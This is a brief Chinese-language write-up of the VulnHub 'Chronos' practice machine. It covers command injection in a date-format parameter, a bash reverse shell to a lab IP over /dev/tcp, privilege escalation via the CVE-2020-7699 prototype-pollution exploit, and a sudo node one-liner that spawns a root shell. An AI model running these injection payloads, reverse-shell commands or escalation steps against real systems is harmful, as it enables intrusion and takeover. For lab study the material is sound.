Chronos:1
项目地址:https://download.vulnhub.com/chronos/Chronos.ova
是一个打包好的镜像文件
注意:导入 ova 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

RCE
date
查看 80 端口源代码发现有一个链接,地址是 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

修改 hosts 文件访问,回显权限不够

将首页混淆的 JS 代码进行 AI 还原,看到需要设置 User-Agent: Chronos

将请求参数进行解码得到 '+Today is %A, %B %d, %Y %H:%M:%S.'

根据回显扔给 AI 输出 system("date '+$input'") 后端命令

使用 ;ls -l 闭合掉,Base58 编码后发送

直接打反弹 Shell
1 | bash -c 'bash -i >& /dev/tcp/192.168.125.4/8888 0>&1' |

提权
express-fileupload 原型污染(CVE-2020-7699)
在当前目录的上级目录 /chronos-v2 中发现运行在 8080 的服务源码

扔给 AI 解析找到了存在的 CVE 编号

下载漏洞利用文件传到靶机上
https://github.com/boiledsteak/EJS-Exploit/blob/main/attacker/EJS-RCE-attack.py
修改其中的参数

成功提权

/etc/sudoers 配置不当
检查权限可以使用 Node 命令

node 提权
1 | node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' |
node -e: 让 Node.js 执行后面紧跟的字符串作为 JavaScript 代码require("child_process"):调用 Node.js 的child_process模块spawn("/bin/sh", {stdio: [0, 1, 2]}):启动一个新的/bin/sh进程。参数stdio: [0, 1, 2]让子进程的 stdin、stdout 和 stderr 与父进程保持一致
